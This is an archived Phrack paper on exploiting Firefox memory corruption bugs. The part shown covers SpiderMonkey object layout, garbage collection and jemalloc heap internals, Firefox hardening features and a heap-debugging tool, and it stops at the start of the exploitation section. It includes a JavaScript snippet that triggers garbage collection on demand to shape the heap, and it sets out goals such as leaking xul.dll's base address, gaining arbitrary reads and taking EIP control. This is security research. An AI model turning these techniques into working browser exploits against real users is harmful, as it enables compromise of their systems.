💾 Archived View for aphrack.org › issues › phrack69 › 14.gmi captured on 2021-12-04 at 18:04:22. Gemini links have been rewritten to link to archived content
⬅️ Previous capture (2021-12-03)
-=-=-=-=-=-=-
==Phrack Inc.== Volume 0x0f, Issue 0x45, Phile #0x0e of 0x10 |=-----------------------------------------------------------------------=| |=----------------=[ OR'LYEH? The Shadow over Firefox ]=-----------------=| |=-----------------------------------------------------------------------=| |=----------------------------=[ argp ]=---------------------------------=| |=-----------------------=[ argp@grhack.net ]=---------------------------=| |=-----------------------------------------------------------------------=| --[ Table of contents 1 - Introduction 2 - Firefox and SpiderMonkey internals 2.1 - Representation in memory 2.2 - Generational garbage collection (GGC) 2.3 - jemalloc (and GGC) 3 - Firefox's hardening features 3.1 - PresArena 3.2 - jemalloc heap sanitization 3.3 - Garbage collection 3.4 - Sandbox 4 - The shadow (over Firefox) utility 5 - Exploitation 5.1 - ArrayObjects inside ArrayObjects 5.2 - jemalloc feng shui 5.3 - xul.dll base leak and our location in memory 5.4 - EIP control 5.5 - Arbitrary memory leak 5.6 - Use-after-free bugs 6 - Conclusion 7 - References 8 - Source code --[ 1 - Introduction In this paper I will elaborate and expand on my Infiltrate 2015 talk of the same title [INF]. Even a full hour-long conference talk is hardly enough to present all the necessary background details or the full technical depth of an exploitation subject. Therefore, I was quite happy when the Phrack Staff approached me for writing a paper based on my conference talk. My goal for this paper is to define a reusable exploitation methodology against the latest versions of the Mozilla Firefox browser in the context of the modern protections provided by most operating systems. The term 'exploitation' here refers to leveraging memory corruption vulnerabilities (of different types, i.e, buffer overflows, use-after- frees, type confusions). By 'reusable methodology' I mean an attack pattern that can be applied towards the exploitation of most vulnerabilities and vulnerability classes. Although the material in this paper are from the Windows version of Firefox, to the best of my knowledge the included techniques can be used on all platforms supported by Firefox. Specifically, for all techniques and included code excerpts I have used the latest version of Firefox (41.0.1 at the time of writing) on Windows 8.1 x86-64. Please note that Firefox stable on Windows (even on a x86-64 system) is x86. --[ 2 - Firefox and SpiderMonkey internals I will start by explaining some Firefox and SpiderMonkey internals that are required for the exploitation methodology. SpiderMonkey (Firefox's JavaScript engine) uses C++ variables of type JS::Value (or simply jsval) to represent strings, numbers (both integers and doubles), objects ( including arrays and functions), booleans, and the special values null and undefined [JSV]. When in JavaScript (JS) a string for example is assigned to a variable or an object's attribute, the runtime must be able to query its type. Therefore, jsvals must follow a representation that encodes both values and types. SpiderMonkey uses the 64-bit IEEE-754 encoding [IFP] for this purpose. Specifically, jsval doubles use the full 64 bits for their value. All other jsvals (integers, strings, etc) are encoded with 32 bits for a tag specifying their type and 32 bits for their value. In Firefox's source code we can find the constants for the jsval types at js/public/Value.h: #define JSVAL_TYPE_DOUBLE ((uint8_t)0x00) #define JSVAL_TYPE_INT32 ((uint8_t)0x01) #define JSVAL_TYPE_UNDEFINED ((uint8_t)0x02) #define JSVAL_TYPE_BOOLEAN ((uint8_t)0x03) #define JSVAL_TYPE_MAGIC ((uint8_t)0x04) #define JSVAL_TYPE_STRING ((uint8_t)0x05) #define JSVAL_TYPE_SYMBOL ((uint8_t)0x06) #define JSVAL_TYPE_NULL ((uint8_t)0x07) #define JSVAL_TYPE_OBJECT ((uint8_t)0x08) These constants are then used to get the 32-bit jsval tags for the different types: #define JSVAL_TAG_CLEAR ((uint32_t)(0xFFFFFF80)) #define JSVAL_TAG_INT32 ((uint32_t)(JSVAL_TAG_CLEAR | JSVAL_TYPE_INT32)) #define JSVAL_TAG_UNDEFINED ((uint32_t)(JSVAL_TAG_CLEAR | \ JSVAL_TYPE_UNDEFINED)) #define JSVAL_TAG_STRING ((uint32_t)(JSVAL_TAG_CLEAR | JSVAL_TYPE_STRING)) #define JSVAL_TAG_SYMBOL ((uint32_t)(JSVAL_TAG_CLEAR | JSVAL_TYPE_SYMBOL)) #define JSVAL_TAG_BOOLEAN ((uint32_t)(JSVAL_TAG_CLEAR | \ JSVAL_TYPE_BOOLEAN)) #define JSVAL_TAG_MAGIC ((uint32_t)(JSVAL_TAG_CLEAR | JSVAL_TYPE_MAGIC)) #define JSVAL_TAG_NULL ((uint32_t)(JSVAL_TAG_CLEAR | JSVAL_TYPE_NULL)) #define JSVAL_TAG_OBJECT ((uint32_t)(JSVAL_TAG_CLEAR | JSVAL_TYPE_OBJECT)) When the SpiderMonkey runtime queries a jsval for its type, if its 32-bit tag value is greater than 0xFFFFFF80 (the JSVAL_TAG_CLEAR define from above) then the 64 bits are interpreted as a jsval of the corresponding type. If the tag value is less or equal to 0xFFFFFF80 then the 64 bits are interpreted as an IEEE-754 double. An important note at this point that I will refer to later on is that there is no IEEE-754 64-bit double that corresponds to a 32-bit encoded value greater than 0xFFF00000. Apart from jsvals, SpiderMonkey also uses complex objects of type JSObject [JSO] to represent various JavaScript objects (jsobjects). In essence these are mappings from names (object properties) to values. To avoid expensive dictionary lookups from these properties to their corresponding values (which are stored in an array of the jsobject) SpiderMonkey uses what is called a shape. Shapes are structural descriptions that point directly from property names to the array indexes that hold their values. The JSObject class uses the NativeObject class for its internal implementation (to be precise the NativeObject class inherits from the JSObject class). These complex objects also contain an inline dynamically- sized (but up to a limit) array that is used to store named properties, and elements of JavaScript arrays and typed arrays. The first (named properties) are indexed by the slots_ pointer, and the latter (array elements) by the elements_ pointer. The actual storage can be either the inline jsobject storage or a dynamically allocated region on the heap. Moreover, jsobject arrays have a header; this header is described by the ObjectElements class. The definition of the JSObject class can be found at js/src/jsobj.h, and those of NativeObject and ObjectElements at js/src/vm/NativeObject.h. Below I will discuss all of them together (think of it as pseudocode) and only their relevant to the paper fields: class NativeObject : public JSObject { /* * From JSObject; structural description to avoid dictionary * lookups from property names to slots_ array indexes. */ js::HeapPtrShape shape_; /* * From JSObject; the jsobject's type (unrelated to the jsval * type I described above). */ js::HeapPtrTypeObject type_; /* * From NativeObject; pointer to the jsobject's properties' * storage. */ js::HeapSlot *slots_; /* * From NativeObject; pointer to the jsobject's elements' storage. * This is used by JavaScript arrays and typed arrays. The * elements of JavaScript arrays are jsvals as I described them * above. */ js::HeapSlot *elements_; /* * From ObjectElements; how are data written to elements_ and * other metadata. */ uint32_t flags; /* * From ObjectElements; number of initialized elements, less or * equal to the capacity (see below) for non-array jsobjects, and * less or equal to the length (see below) for array jsobjects. */ uint32_t initializedLength; /* * From ObjectElements; number of allocated slots (for object * properties). */ uint32_t capacity; /* * From ObjectElements; the length of array jsobjects. */ uint32_t length; }; In the following sections of this paper I am going to refer back to this as 'jsobject' (or the 'jsobject class'), which although isn't technically correct (as I have explained above) will make the discussion simpler. ----[ 2.1 - Representation in memory In order to get a better insight, let's look at the representation of jsvals and jsobjects in memory. We have the following JavaScript code: var arr = new Array(); // an array jsobject (ArrayObject) arr[0] = 0x40414140; // [A] an integer arr[1] = "Hello, Firefox!"; // [B] a string arr[2] = 0x42434342; arr[3] = true; // [C] a boolean arr[4] = 0x44454544; arr[5] = new Array(666); // [D] an object // add some elements to the array arr[5][0] = 666; arr[5][1] = "sixsixsix"; arr[5][2] = 0.666; arr[5][3] = false; arr[5][4] = new Array(666); arr[6] = 0x46474746; arr[7] = null; arr[8] = 0x48494948; // [E] a typed array jsobject holding unsigned 32-bit integers arr[9] = new Uint32Array(128); // let's fill the typed array with some content // total size: 128 * 4 == 512 for(var j = 0; j < 128; j += 2) { arr[9][j] = 0x61636361; arr[9][j + 1] = 0x71737371; } arr[10] = 0x50515150; arr[11] = 1.41424344; // [F] a double arr[12] = 0x52535352; // [G] and a bigger string arr[13] = "Hello, Firefox, and hello again"; In WinDbg we search for our first integer marker value, that is 40414140, and then we inspect the elements of the array we have defined: 0:000> s -d 0 0x0 l?0xffffffff 40414140 09e10980 40414140 ffffff81 0f352880 ffffff85 @AA@.....(5..... 09e10a00 40414140 ffffff81 0f352880 ffffff85 @AA@.....(5..... The reason of finding our marker value twice will become clear below. Now let's do a memory dump from a few dwords before the found value; I am going to annotate the dump from WinDbg to make the discussion easier to follow: 0:000> dd 09e10980-20 l?48 [ Our arr ArrayObject ] shape_ type_ slots elements 09e10960 0eed89a0 0f3709b8 00000000 09e10a00 [ Metadata of the old elements, the default length of ArrayObjects is 6 ] flags initlen capacity length 09e10970 00000000 00000006 00000006 00000006 [ Old elements' address ] 09e10980 40414140 ffffff81 0f352880 ffffff85 09e10990 42434342 ffffff81 00000001 ffffff83 09e109a0 44454544 ffffff81 09e109b0 ffffff88 09e109b0 0eed89a0 0f3709e8 00000000 0c94e010 09e109c0 00000000 00000000 00000000 0000029a 09e109d0 0eed89a0 0f370a30 00000000 0d177010 09e109e0 00000000 00000000 00000000 0000029a [ Metadata of relocated elements, the length of our new ArrayObject is 0xe, or 14 in decimal ] flags initlen capacity length 09e109f0 00000000 0000000e 0000000e 0000000e [ New elements' address ] int32 jsval [A] string jsval [B] 09e10a00 40414140 ffffff81 0f352880 ffffff85 bool jsval [C] 09e10a10 42434342 ffffff81 00000001 ffffff83 object jsval (ArrayObject) [D] 09e10a20 44454544 ffffff81 09e109b0 ffffff88 09e10a30 46474746 ffffff81 00000000 ffffff87 object jsval (typed array) [E] 09e10a40 48494948 ffffff81 12634520 ffffff88 double jsval [F] 09e10a50 50515150 ffffff81 bab61ee0 3ff6a0bd string jsval [G] 09e10a60 52535352 ffffff81 0eef9730 ffffff85 At the start of the memory dump (at 09e10960) we can see the metadata of our arr ArrayObject; the shape_, type_, slots and elements pointers. The slots pointer is NULL since our jsobject has no named properties. The elements pointer points to the jsval contents of the array at 09e10a00. These are actually the relocated contents of the array. At address 09e10970 we can see the original metadata of the elements (the default length of an array when not specified is always 6), and at 09e10980 the original contents. The elements (along with their metadata) were relocated while we were adding contents to the arr array. The elements pointer after the relocation points to 09e10a00 where the jsval contents begin. Four dwords before that, at 09e109f0, we have their metadata; flags, initializedLength (or initlen), capacity, and length. As expected, initlen, capacity, and length are all 0xe. At 09e10a00 there is our integer marker value 40414140 and at 09e10a04 its 32-bit tag of ffffff81 denoting as an integer jsval [A]. At 09e10a08 we can see the string jsval for [B]. Based on a) whether the underlying platform is x86 or x86-64, b) the length of the jsval string, and c) whether it is plain ASCII or unicode, the content bytes of the string are either inline or not. On x86 the maximum length for an inline ASCII string is 7 and 3 for unicode; on x86-64 it is 15 for ASCII and 7 for unicode. Our [B] string has length 15 (0xf) therefore it is inlined. Let's see the contents of the address that the [B] string jsval points to: 0:000> dd 0f352880 flags length string's contents 0f352880 0000005d 0000000f 6c6c6548 46202c6f 0f352890 66657269 0021786f 00737365 00000004 0:000> db 0f352880 0f352880 5d 00 00 00 0f 00 00 00-48 65 6c 6c 6f 2c 20 46 ]..Hello, F 0f352890 69 72 65 66 6f 78 21 00-65 73 73 00 04 00 00 00 irefox!.ess At 0f352880 it's the start of the metadata of our inline [B] string; the flags (0x5d), the length (0xf == 15 in decimal) and then at 0f352888 the ASCII contents of [B]. In contrast, the string jsval at 09e10a68 [G] is not inline. Again, the tag value of [G] is ffffff85 denoting as a string, and it's value points to 0eef9730: 0:000> dd 0eef9730 flags length pointer to string's contents 0eef9730 00000049 0000001f 0bcba840 00000000 0:000> dd 0bcba840 0bcba840 6c6c6548 46202c6f 66657269 202c786f 0bcba850 20646e61 6c6c6568 6761206f 006e6961 0:000> db 0bcba840 0bcba840 \ 48 65 6c 6c 6f 2c 20 46-69 72 65 66 6f 78 2c 20 Hello, Firefox, 0bcba850 \ 61 6e 64 20 68 65 6c 6c-6f 20 61 67 61 69 6e 00 and hello again. At 0eef9730 we have the flags (0x49), length (0x1f == 31 in decimal), and at 0eef9738 a pointer to the actual bytes contents of the string (at 0bcba840). Actually SpiderMonkey strings are a lot more interesting and useful, so I refer the interested reader to js/src/vm/String.h. However, for the purposes of this paper the above details are adequate. At 09e10a28 there is the [D] ArrayObject we have instantiated with a capacity of 666 (or 0x29a in hex); its tag is ffffff88 denoting it as an object, and its value is the address 09e109b0, where we can see the ArrayObject metadata as we have talked about them before: 0:000> dd 09e109b0 shape_ type_ slots elements 09e109b0 0eed89a0 0f3709e8 00000000 0c94e010 flags initlen capacity length 09e109c0 00000000 00000000 00000000 0000029a 0:000> dd 0c94e010-10 flags initlen capacity length 0c94e000 00000000 00000005 0000029a 0000029a arr[5][0] = 666; arr[5][1] = "sixsixsix"; 0c94e010 0000029a ffffff81 0eed78a0 ffffff85 0c94e020 3b645a1d 3fe54fdf 00000000 ffffff83 0c94e030 09e109d0 ffffff88 5a5a5a5a 5a5a5a5a The elements pointer of the [D] ArrayObject points to 0c94e010 where we can see the first element of this array, i.e. arr[5][0], namely the integer jsval 0x29a (or 666 in decimal). At 0c94e000 there are the metadata associated with these elements. Here we can clearly see the difference between the initializedLength, the capacity, and the length of an ArrayObject. The initializedLength and the capacity from the metadata at 09e109b0 are both zero, while it's length is 0x29a; this is the case since at [D] we simply declared an ArrayObject with a length of 0x29a without actually adding any elements to it. Then we added five elements (arr[5][0] to arr[5][4]), and the new initializedLength became 5, while the capacity became equal to length, i.e. 0x29a (all these from the metadata at 0c94e000). Before we move on, let's also look at SpiderMonkey typed arrays since we will use them in our attack methodology later on. Typed arrays are a very useful JavaScript feature since they allow us to situate on the heap arbitrary sized constructs of controlled content (to arbitrary byte granularity). Previous Firefox attacks, like [P2O] and [REN], relied on the fact that SpiderMonkey used to situate the actual content (data) and the corresponding metadata of typed arrays contiguously in memory. Unfortunately this is no longer the case; the GC tenured heap and the jemalloc heap (both of which I will explain shortly) keep these separated, even when we try to force such a layout. However, typed arrays remain very useful. At [E] we instantiate a Uint32Array object, i.e. a typed array jsobject holding unsigned 32-bit integers, with an initial length of 128, whose object-type jsval we can find at address 09e10a48; its value is the address 12634520. There we see the Uint32Array object, starting with its metadata (for example, at 12634538 its length of 0x80, or 128 in decimal), and at 12634548 the pointer to the actual buffer contents of the typed array (0dd73600). 0:000> dd 12634520 12634520 0af6c5c8 0f370e80 00000000 7475a930 12634530 126344f0 ffffff88 00000080 ffffff81 12634540 00000000 ffffff81 0dd73600 ffffff81 12634550 00000000 00000000 00000000 00000000 0:000> dd 0dd73600 0dd73600 61636361 71737371 61636361 71737371 0dd73610 61636361 71737371 61636361 71737371 0dd73620 61636361 71737371 61636361 71737371 0dd73630 61636361 71737371 61636361 71737371 0dd73640 61636361 71737371 61636361 71737371 0dd73650 61636361 71737371 61636361 71737371 0dd73660 61636361 71737371 61636361 71737371 0dd73670 61636361 71737371 61636361 71737371 As expected, the contents of the typed array at 0dd73600 are precisely what we assigned in our code. The buffer that holds these contents is allocated on the heap and its size is four times the number of uint32 elements we assigned to the typed array (since each element is four bytes long). So, for our [E] typed array, its contents buffer at 0dd73600 is 512 bytes long (4 * 128 == 512). ----[ 2.2 - Generational garbage collection (GGC) Since release 32.0 [F32] Firefox has a new garbage collection (GC) implementation enabled by default (on all its supported operating systems) called 'generational garbage collection' (GGC). In GGC there are two separate heaps; a) the nursery on which most SpiderMonkey objects are allocated, and b) the tenured or major heap which is more or less the old (before release 32.0) normal SpiderMonkey GC heap. When the nursery becomes full (or some other event happens) we have the so-called minor GC pass. During this, all the temporary short-lived JavaScript objects on the nursery are collected and the memory they were occupying becomes again available to the nursery. On the other hand, the JavaScript objects on the nursery that are reachable in the heap graph (i.e. alive) are moved to the tenured heap (which also makes the memory they were occupying available to the nursery). Once an object is moved to the tenured heap, during a minor GC pass, it is checked for outgoing pointers to other objects on the nursery heap. Such objects are moved from the nursery to the tenured heap as well, since they are actually reachable. This iterative process continues until all reachable objects are moved from the nursery to the tenured heap, and the memory they were occupying is set to available for the nursery. This generational (also called 'moving') garbage collection approach has resulted in impressive performance gains for SpiderMonkey since most JavaScript allocations are indeed short-lived. To make it clear how all the above fit in the context of the Firefox browser, I should talk about JSRuntime [JSR]. An instantiated JSRuntime object (see js/src/vm/Runtime.cpp for the class) holds all JavaScript variables, objects, scripts, etc. SpiderMonkey as compiled for Firefox is single-threaded by default, therefore Firefox usually has just one JSRuntime. However, (web) workers can be launched/created and each one of them has its own JSRuntime. Each different JSRuntime has one separate GGC heap (nursery and tenured), and they don't share heap memory. Furthermore they are isolated from each other; one JSRuntime cannot access objects allocated by a different JSRuntime. The nursery has a hardcoded size of 16 megabytes allocated with VirtualAlloc() (or with mmap() on Linux). It operates as a standard bump allocator; a pointer is maintained that points to the first unallocated byte in the nursery memory area. To make an allocation of X bytes, first there is a check if there are X bytes available in the nursery. If there are, X is added to the pointer (the "bump") and its previous value is returned to service the allocation request. If there aren't X bytes available, a minor GC is triggered. During this GC pass the new object is moved to the tenured heap, and if its slots or elements (see section 2.1) are above a certain number they are moved to the jemalloc-managed heap. The tenured heap (you may also see it referred to as 'major' or simply 'GC' heap in Firefox's code base) has its own metadata and algorithms to manage memory. These are distinct from both the nursery and the jemalloc heaps. Apart from being the heap for JavaScript objects that survived a nursery GC pass, some allocations go directly on it bypassing the nursery. Examples of such cases are known long-lived objects (e.g. global objects), function objects (due to JIT requirements), and objects with finalizers (i.e. most DOM objects). I will not go into more details for the tenured heap since they are not relevant to the exploitation methodology. ----[ 2.3 - jemalloc (and GGC) In this section I will only discuss the necessary jemalloc knowledge you require in order to follow the analysis in section 5. For a more detailed treatise I refer you to another Phrack paper which is still applicable to the current state of jemalloc [PSJ]. jemalloc is a bitmap allocator designed for performance and not primarily memory utilization. One of its major design goals is to situate allocations contiguously in memory. The latest version of jemalloc is 4.0.0 at this time, but Firefox includes a version forked from major release 2. Firefox's fork is called mozjemalloc in the source tree, but it doesn't include any significant changes from jemalloc 2. It is used in Firefox for allocations that become too big (based on some limits I will discuss shortly) for the tenured heap. However, there are some exceptions; certain allocations triggerable from JavaScript can bypass both the nursery and the tenured heap and go directly to the jemalloc-managed heap. I will not discuss this further, so you can consider it an exercise ;) In jemalloc memory is divided into regions which are categorized according to their size. Specifically, the size categories, called 'bins', in Firefox are 2, 4, 8, 16, 32, 48, ..., 512, 1024, up to inclusive 2048. malloc() requests larger than 2048 bytes are handled differently and are not in scope for this paper. Each bin (or size category) is associated with several 'runs'; these are the actual containers for the regions. A run can span one or more virtual memory pages which are divided into regions of the bin size that the run belongs to. Bins have the metadata for their runs and through them free regions are located. The following diagram is a simplified version of the original one from [PSJ] and summarizes the above notes. .--------------------------------. .--------------------------------. | | | | | Run #0 Run #1 | | Run #0 Run #1 | | .-------------..-------------. | | .-------------..-------------. | | | || | | | | || | | | | Page || Page | | | | Page || Page | | | | .---------. || .---------. | | | | .---------. || .---------. | | | | | | || | | | | | | | | || | | | | ... | | | Regions | || | Regions | | | | | | Regions | || | Regions | | | | | |[] [] [] | || |[] [] [] | | | | | |[] [] [] | || |[] [] [] | | | | | | ^ ^ | || | | | | | | | ^ ^ | || | | | | | | `-|-----|-' || `---------' | | | | `-|-----|-' || `---------' | | | `---|-----|---'`-------------' | | `---|-----|---'`-------------' | `-----|-----|--------------------' `-----|-----|--------------------' | | | | | | | | .---|-----|----------. .---|-----|----------. | | | | | | | | | free regions' list | ... | free regions' list | ... | | | | `--------------------' `--------------------' bin of size category 8 bin of size category 16 Allocation requests (i.e. malloc() calls) are rounded up and assigned to a bin. Then, through the bin's free regions' metadata, a run with a free region is located. If none is found, a new run is allocated and assigned to the specific bin. Therefore, this means that objects of different types but with similar sizes that are rounded up to the same bin are contiguous in the jemalloc heap. Another interesting feature of jemalloc is that it operates in a last-in-first-out (LIFO) manner (see [PSJ] for the free algorithm); a free followed by a garbage collection and a subsequent allocation request for the same size, most likely ends up in the freed region. At this point let's utilize an example to see how the jemalloc heap is used in Firefox along with the GGC heaps, namely nursery and tenured. In the diagram below the nursery heap is nearly full and we have an allocation request for a JSObject with an N number of slots. ........................................................................... +-+ +-++-------+ +-------+ : |T| Temporary |J|| slots | Survivor | | Free : jemalloc | | object | || N | JSObject | | memory : +-----------+ +-+ +-++-------+ + slots +-------+ : | +-------+ | ....................................................... : | | slots | | : | | N | | Before minor GC : | +-------+ | JSObject --------------- : | ^ ^ | allocation : | | | | request +-++-------+ : | | | | Nursery doesn't have |J|| slots | : | | | | free memory for +----------+| || N |+------------------+ | | JSObject + its slots | +-++-------+ : | | | +---------------+ | : | | | | | : | | | v v : | | | +-----------------------+ +-----------------------+ : | | | |+-++-++-++-++-++-++-++-+ |+-++-+ | : | | | ||T||T||T||T||T||T||T||J| ||J||J| | : | | | || || || || || || || || | || || | | : | | | |+-++-++-++-++-++-++-++-+ |+-++-+ | : | | | +-----------------------+ +-----------------------+ : | | | Nursery + Tenured : | | | | : | | | | : | | | +------------+ : | | | | : | | | .....................................|................. : | | | | : | | | First unallocated nursery byte | After minor GC : | | | +-----+ | -------------- : +-------|---+ | | : | v v : | +-----------------------+ +-----------------------+ : | | | |+-++-++-+ | : | | | ||J||J||J|+------------------------------+ | | || || || | | : slots_ pointer | | |+-++-++-+ | : +-----------------------+ +-----------------------+ : Nursery Tenured : ........................................................................... The JSObject itself can fit (or not, doesn't affect the rest of the events) in the free space of the nursery, but its slots cannot. So, the JSObject is placed on the nursery and since it becomes full, a minor GC is triggered. If it couldn't fit in the nursery a minor GC would also be triggered. During this GC and assuming that the JSObject is a survivor object, i.e. not a temporary one, it is moved from the nursery to the tenured heap (or placed directly there if it couldn't fit in the nursery in the first place). If the number of its slots N is greater than a certain number (more on this later), they are not placed on the tenured heap with the object itself. Instead, a new allocation for the size of the N slots is made on the jemalloc heap, and the slots are placed there. Then the slots_ pointer of the jsobject stores the address of the jemalloc heap region that contains the slots. --[ 3 - Firefox's hardening features Firefox has some security hardening features that are useful to know if you are doing or plan to do any exploit development for it. I will try to list them all here to give you the references to start digging from, but I will only expand on those that affect our goal for this paper. ----[ 3.1 - PresArena PresArena is Gecko's specialized heap for CSS box objects (Gecko is Firefox's layout engine). When a CSS box object is freed, the free PresArena heap 'slot' is added to a free list based on its type. This means that PresArena maintains separate free heap 'slot' lists for each different CSS box object type. An allocation request is serviced from the free list of the type of objects it is trying to allocate. This basically means that for CSS box objects PresArena implements type-safe memory reuse, mostly killing use-after-free exploitation. I say 'mostly' because in some cases a use-after-free bug can still be exploitable via same-object-type trickery, like playing with attributes' values for example. PresArena also services types of objects that related to CSS box objects but are not. The free lists of these objects are per size and not per type. This of course means that use-after-free bugs for these object types are exploitable as usual. The code for PresArena is at layout/base/nsPresArena.{h, cpp}. ----[ 3.2 - jemalloc heap sanitization Since jemalloc rounds up allocation requests to the closest size category (bin), it is possible that a small object may be assigned to the same region that a bigger object was occupying before being freed (both objects smaller or equal to the size category of course). Therefore, in such a case we could use the small object to read back memory left by the bigger object. This could reveal DLL pointers and could help in bypassing ASLR. To avoid this jemalloc sanitizes regions after they are freed. Current Firefox versions use the value e5e5e5e5 to sanitize; older versions used a5a5a5a5. This hardening feature also makes some uninitialized memory bugs unexploitable. In any case, if you're fuzzing Firefox these are nice values to look for in crash logs. ----[ 3.3 - Garbage collection Being able to trigger a garbage collection on demand is fundamental when trying to create specific object layouts on the heap. Firefox provides no unprivileged JavaScript API to do this. Although not having an on-demand GC API call is not listed as a hardening feature, it is clear that Firefox developers actively try to remove direct execution paths from unprivileged JavaScript functions to GC. A GC can be triggered for a variety of reasons; Firefox has these divided into two major categories, those related to the JavaScript engine and those that aren't. The second category includes reasons related to the layout engine (for example frame refreshing), as well as ones more general to the browser (for example when the main process exits). You can find the names of all the reasons at js/public/GCAPI.h. These are the start for finding ways to trigger a GC on demand from unprivileged JavaScript code. A simple one to get you started is TOO_MUCH_MALLOC. If you search for this in Firefox's code and backtrace it with your favorite code reading tool, you will conclude to the following execution path: dom::CanvasRenderingContext2D::EnsureTarget() + | +--> JS_updateMallocCounter() + | +--> GCRuntime::updateMallocCounter() + | +--> GCRuntime::onTooMuchMalloc() + | +--> triggerGC(JS::gcreason::TOO_MUCH_MALLOC) After reading dom::CanvasRenderingContext2D::EnsureTarget(), which is in the file dom/canvas/CanvasRenderingContext2D.cpp, we can easily figure out how to reach it: var my_canvas = document.createElement("canvas"); my_canvas.id = "my_canvas"; my_canvas.width = "100"; my_canvas.height = "115"; document.body.appendChild(my_canvas); for(var i = 0; i < 10; i++) { var my_context = my_canvas.getContext("2d"); my_canvas.width = 36666; my_context.fillRect(21, 11, 66, 60); } You can find many others; some more reliable, some less, just read the code. Another simple one is to repeatedly create strings and append them to a DOM node; see the archive for this example. Just keep in mind that you may have to tweak some parameters, like the number of repetitions, the size of strings, etc, in order to get it to work on as many as possible different systems with different characteristics (available RAM, Firefox versions). ----[ 3.4 - Sandbox I will only be discussing Firefox's sandbox on Windows; the Linux and OS X implementations are based on different technologies, seccomp and Seatbelt, but aim to achieve similar goals. All the code is available at security/sandbox/{win, linux, mac}. On Windows, Firefox is using the code of the Chromium sandbox. In short, there is a parent process (broker) that is responsible for starting sandboxed children processes (targets). The communication between the two is implemented via a Firefox-specific C++ IPC called IPDL (Inter-process communication Protocol Definition Language). There are three different sandbox policies for children processes implemented, a) for layout content, b) for media playback, and c) for other plugins. These are implemented by the following functions, a) SetSecurityLevelForContentProcess(), b) SetSecurityLevelForGMPlugin(), and c) SetSecurityLevelForPluginProcess() respectively. You can find their implementations at security/sandbox/win/src/sandboxbroker/sandboxBroker.cpp. Flash in Firefox is an out-of-process plugin. This means that Firefox launches an executable called plugin-container.exe which then loads the Flash plugin, sandboxed by Flash's own "protected mode". On Windows this means that it is a low integrity process, has restricted access token capabilities, is not allowed to launch new processes, etc. Firefox plans to stop enabling Flash's protected mode and place Flash under the above Chromium-based sandbox as well, but this is not the case currently (41.0.1). --[ 4 - The shadow (over Firefox) utility I initially re-designed unmask_jemalloc [UNJ] (a GDB/Python tool we have written with huku) with a modular design to support all three main debuggers and platforms (WinDBG, GDB and LLDB). I renamed the tool to shadow when I added Firefox/Windows/WinDBG-only features. The following is an overview of the new design (read the arrows as "imports"). The goal is to have all debugger-dependent code in the *_driver and *_engine modules. --------------------------------------------------------------------------- debugger-required frontend (glue) +------------+ +-------------+ +-------------+ | gdb_driver | | lldb_driver | | pykd_driver | +------------+ +-------------+ +-------------+ ^ ^ ^ | | | ----------+-------------------+-------------------+------------------------ | | | | +--------+ | +-----------------------+ | +-----+ core logic | | | (debugger-agnostic) | | | | | | +-----------------+ +------+ | | | |---------------> | shadow |<-----+ | util | +------> | | | | | | +-----------------+ | +------+ | ^ ^ ^ ^ | | | | | | | | | | +--------+ | | | +-----+----------+ | +----+--------+---| symbol | | | | | | | | | +--------+ +-+ | | | +----------+ | | | +---------+ | | | | | jemalloc | | +--------+---| nursery | | | | | +----------+ | | +---------+ | | | | ^ ^ ^ | | | | | | | | | | | | | | | | | +------+--------+ | | | | | | | | | | | | +---+---+----+----------+--------+-----+ | | | | | | | | | | | +-----+---+----+----+ | | | | | | | | | | | | | ------+---------+---+----+----+-----+--------+-----+----+------------------ | | | | | | | | | | | | | | | | | | debugger | | | | | | | | | dependent APIs | | | | | | | | | | | | | | | | | | | | | | v | | v | | +------------+ | +-------------+ | +-------------+ +->| gdb_engine | +--| lldb_engine | +--| pykd_engine | +------------+ +-------------+ +-------------+ ^ ^ ^ | | | +---+ +---------+ +---------------+ | | | | | | -----------+-------------+-------------+----------------------------------- | | | | | | debugger-provided backend | | | | | | +-----+ +------+ +------+ | gdb | | lldb | | pykd | +-----+ +------+ +------+ --------------------------------------------------------------------------- shadow can help you during Firefox exploit development when you're trying to understand the impact of your JavaScript code on the heap. The symbol command allows you to search for SpiderMonkey and DOM classes (and structures) of specific sizes. This is useful when you're trying to exploit use-after-free bugs, or when you want to position interesting victim objects to overwrite/corrupt. All the supported commands are: 0:000> !py c:\\tmp\\shadow\\pykd_driver help [shadow] De Mysteriis Dom Firefox [shadow] v1.0b [shadow] jemalloc-specific commands: [shadow] jechunks : dump info on all available chunks [shadow] jearenas : dump info on jemalloc arenas [shadow] jerun <address> : dump info on a single run [shadow] jeruns [-cs] : dump info on jemalloc runs [shadow] -c: current runs only [shadow] -s <size class>: runs for the given size [shadow] class only [shadow] jebins : dump info on jemalloc bins [shadow] jeregions <size class> : dump all current regions of the [shadow] given size class [shadow] jesearch [-cfqs] <hex> : search the heap for the given hex [shadow] dword [shadow] -c: current runs only [shadow] -q: quick search (less [shadow] details) [shadow] -s <size class>: regions of the given size [shadow] only [shadow] -f: search for filled region [shadow] holes) [shadow] jeinfo <address> : display all available details for [shadow] an address [shadow] jedump [filename] : dump all available jemalloc info [shadow] to screen (default) or file [shadow] jeparse : parse jemalloc structures from [shadow] memory [shadow] Firefox-specific commands: [shadow] nursery : display info on the SpiderMonkey [shadow] GC nursery [shadow] symbol [-vjdx] <size> : display all Firefox symbols of the [shadow] given size [shadow] -v: only class symbols with [shadow] vtable [shadow] -j: only symbols from [shadow] SpiderMonkey [shadow] -d: only DOM symbols [shadow] -x: only non-SpiderMonkey [shadow] symbols [shadow] pa <address> [<length>] : modify the ArrayObject's length [shadow] (default new length 0x666) [shadow] Generic commands: [shadow] version : output version number [shadow] help : this help message You can find the latest version of shadow, along with installation instructions, in the code archive that comes with this paper and also on GitHub [SHD]. Just a note; I only had time to test everything on Windows and WinDBG. Linux/GDB support is almost complete (though no support for the symbol command). I haven't done any work for supporting OS X/LLDB yet. All contributions are of course welcome ;) --[ 5 - Exploitation In the introduction I set the goal of this paper to be a generic, reusable exploitation methodology that can be applied to as many as possible Firefox bugs (and bug classes). To be more specific, this high-level goal can be broken down into the following: 1) Leak of xul.dll's base address. This DLL is the main one for Firefox and it contains the code of both SpiderMonkey and Gecko (Firefox's layout engine). This huge DLL contains all the ROP gadgets you may ever want. 2) Leak of the address in Firefox's heap where we have some control due to the bug we are exploiting. This can be very useful since we can use it to create fake objects with valid addresses that point to data we control. 3) The ability to read any number of bytes from any address we choose, i.e. an arbitrary leak. 4) And finally, of course, EIP control (to start a ROP chain, for example). In order to achieve these we will be using standard JavaScript arrays, i.e. ArrayObject jsobjects, as primitives. In the past, researchers have used typed arrays 